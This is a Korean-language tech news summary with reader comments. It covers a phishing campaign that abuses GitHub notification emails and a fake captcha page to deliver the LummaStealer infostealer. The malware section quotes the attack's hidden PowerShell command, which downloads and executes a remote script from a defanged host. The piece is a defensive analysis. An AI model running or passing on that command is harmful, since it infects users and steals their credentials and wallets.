1P by neo 2달전 | favorite | 댓글 1개
  • 오픈 소스 개발자로서 GitHub에서 자주 이메일을 받음
  • 대부분의 이메일은 GitHub 사용자가 상호작용한 내용을 알리는 알림 이메일임
  • 그러나 일부 이메일은 GitHub 보안을 사칭하여 악성코드를 다운로드하게 함

공격 방법

  1. 공격자가 임시 GitHub 계정을 사용해 공개 저장소에 이슈를 생성함
  2. 공격자가 이슈를 빠르게 삭제함
  3. 저장소 소유자는 알림 이메일을 받음
  4. 이메일의 링크를 클릭함
  5. 지시에 따라 시스템에 악성코드를 감염시킴

이메일 메시지 분석

  • 이메일 내용은 대부분 공격자가 제어할 수 있음
  • 이메일에는 새로운 이슈가 생성되었다는 내용이 없음
  • 공격자는 "Github Security Team"을 사칭함
  • 이메일은 GitHub에서 발송된 것이므로 피싱 체크를 통과함

GitHub의 개선점

  • 이메일에 더 많은 맥락을 제공하여 공격의 효과를 줄일 수 있음
  • 공격자가 제어할 수 있는 콘텐츠를 줄이고 발신자에 대한 명확성을 높여야 함

웹사이트

  • 이메일의 링크를 따라가면 캡차 페이지로 이동함
  • 캡차 페이지는 사용자가 Windows 실행 상자에 명령을 입력하도록 유도함

악성코드

  • 사이트는 다음 명령을 클립보드에 복사함:
    powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content"  
    
  • 이 명령은 PowerShell 프로세스를 시작하고 스크립트를 다운로드하여 실행함

악성코드 단계

  1. PowerShell 명령을 통해 스크립트를 다운로드하고 실행함
  2. 스크립트는 악성 실행 파일을 다운로드하고 실행함
  3. 실행 파일은 디지털 서명이 있지만 유효하지 않음
  4. Windows는 유효하지 않은 서명에 대해 경고하지 않음

Windows의 약점

  • 인터넷에서 다운로드된 파일을 식별하는 "Mark of the Web" (MOTW) 플래그가 설정되지 않음
  • .NET Framework의 System.Net.WebClient 클래스는 MOTW 플래그를 설정하지 않음
  • MOTW 플래그가 설정되지 않은 경우 Windows는 유효하지 않은 서명에 대해 경고하지 않음

악성코드 분석

  • 악성코드는 메모리에 로드되어 실행됨
  • LummaStealer라는 악성코드로, 암호화폐 지갑, 저장된 자격 증명 등을 탈취함

결론

  • GitHub 알림 이메일의 약점을 악용한 공격 사례
  • 다양한 도구를 사용하여 분석을 수행함

GN⁺의 정리

  • 이 기사는 GitHub 알림 이메일을 악용한 악성코드 공격 사례를 다룸
  • GitHub의 이메일 시스템의 약점을 악용하여 악성코드를 배포함
  • Windows의 "Mark of the Web" 플래그와 디지털 서명 검증의 약점을 이용함
  • LummaStealer라는 악성코드가 사용됨
  • GitHub와 Microsoft에 보고된 약점들임
  • 유사한 기능을 가진 다른 프로젝트로는 Cyfirma의 분석 자료를 추천함
Hacker News 의견
  • 최근 PayPal에서 매우 설득력 있는 이메일을 받았음

    • 누군가가 인용 기능을 사용하여 "PayPal need to get in touch about a your recent payment of $499.00, please call +1-...."라는 회사 이름을 설정했음
    • 이메일은 실제 PayPal.com에서 왔으며, 이런 사용자 이름을 관리하지 않는 것이 이해되지 않음
    • 이를 보고했지만 아직 답변을 받지 못했음
    • 이 이메일은 진짜 PayPal 이메일처럼 보이도록 형식화되어 많은 사람들이 속을 것 같음
  • 사람들이 정말로 이런 사기에 속는지 궁금함

    • 이메일이 github에서 왔다는 것을 알고 있다고 가정함
    • 첫 번째 경고: 이메일이 실제 도메인의 변형으로 연결됨
    • 두 번째 경고: 캡차가 셸 명령을 입력하라고 요구함
  • 주니어 개발자들이 이런 사기에 속을 수 있을 것 같음

    • "오, 코드 실행으로 캡차를 해결하다니, 참 신기하네!"
  • 웹페이지가 클릭만으로 복사/붙여넣기 버퍼를 채울 수 없어야 함

    • 이메일의 링크를 클릭하거나 이메일의 내용을 신뢰하지 말아야 함
    • Windows가 여전히 1줄의 PowerShell 명령으로 루트 권한을 허용하는 것이 문제임
  • Github는 자동화된 서비스로 링크를 확인하지 않고 이슈에 링크를 넣는 것을 막아야 함

    • Github는 이메일로 전송하는 내용을 더 잘 관리해야 함
  • github-scanner.com이 여전히 악성 파티인지 궁금함

    • Cloudflare가 DNS를 호스팅하고 있으며, 이 문제를 보고할 방법이 없음
  • 공격자가 이슈를 빠르게 삭제함

    • 관리자만 이슈를 삭제할 수 있음
    • 따라서 저장소에는 이슈의 흔적이 남아 있음
  • 좋은 글임, Julia Evans의 블로그와 비슷한 느낌을 줌

  • 2024년에도 여전히 가장 간단한 속임수에 속는 사람들이 있다는 것이 슬픔

  • 오늘 아침에 이런 알림을 받았고 무시했음

    • 알림이 특정 저장소에 관한 것이었음
  • 읽을 가치가 있음, 그들이 무엇을 하려고 하는지 보여줌

    • 링크만으로도 의심스러울 수 있지만, 누군가가 이를 파헤치는 것을 보는 것이 재미있음
  • 비슷한 GitHub 알림 이메일을 받았음

    • 저장소에서 취약성이 발견되었다고 했지만, 클릭하지 않았음
    • 게으른 프로그래머라서 클릭하지 않았음